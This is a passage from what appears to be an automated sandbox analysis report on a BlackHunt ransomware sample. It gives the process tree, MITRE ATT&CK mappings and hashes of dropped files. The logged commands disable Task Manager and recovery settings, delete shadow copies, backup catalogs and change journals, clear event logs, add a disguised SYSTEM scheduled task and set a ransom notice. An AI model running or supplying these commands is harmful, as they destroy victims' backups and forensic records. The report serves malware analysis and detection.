    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe" /F
  2⤵
  PID:2872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2284
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2024
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2108
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2788
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2996
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2492
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2144
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1872
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1932
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1912
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2764
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:1636
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3488
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3388
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3760
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2564
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2332
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1596
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:544
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2580
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2776
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1704
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3208
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1476
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1600
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe"
  2⤵
  - Deletes itself
  PID:1108
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1280

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3936

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
8919726069ff1a7be34ad9cb27ebabdb

SHA1
31d9995e90ef79b4f31029f0506ff354c4ed2b78

SHA256
1522b193f2f973a792618b09516ac85a247cd5f58b1784e3eee9d0c13e2fbd35

SHA512
1e660e260bbab11135a22440480bb0523819b37e01180766f917ece44ff003f4c822ca6e255ebe8b2d4e7da3515a6067783280f57762af91fdea5461a8851425

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
2da5a9bc851da86dd6efe52b716bdd3c

SHA1
ac2fed1312397364e4d87f2eed8a3c845dee5930

SHA256
1c3cf7500c92589074d8d4f20a6d7765824e64b3571efe334ff035f78d9cb8f9

SHA512
23d58e8b7415b68aa646a0fdd50dfb4f4865cb873f8147cc212f252f4ad9db6aa465c72daa3b585462681f04b03f87ac51fb4f3427af418d1b5f520e40375784

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
0f10a82adb634c5ead4800b62a2cbcb9

SHA1
135df8bd58df658cca8a50dc624de8b608befc79

SHA256
90bf2c451b699be8b5589bce1e82df84616c21afaef1c574ef168a454cb57959

SHA512
f92d2ce931148ad9232919fc142921baedbc3f6a2eaa07c621e227ebbb88039035b87cffe4f6f0b94b0c7ee5fab14e3ef6c6876d0167e414b0075e5264682087

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads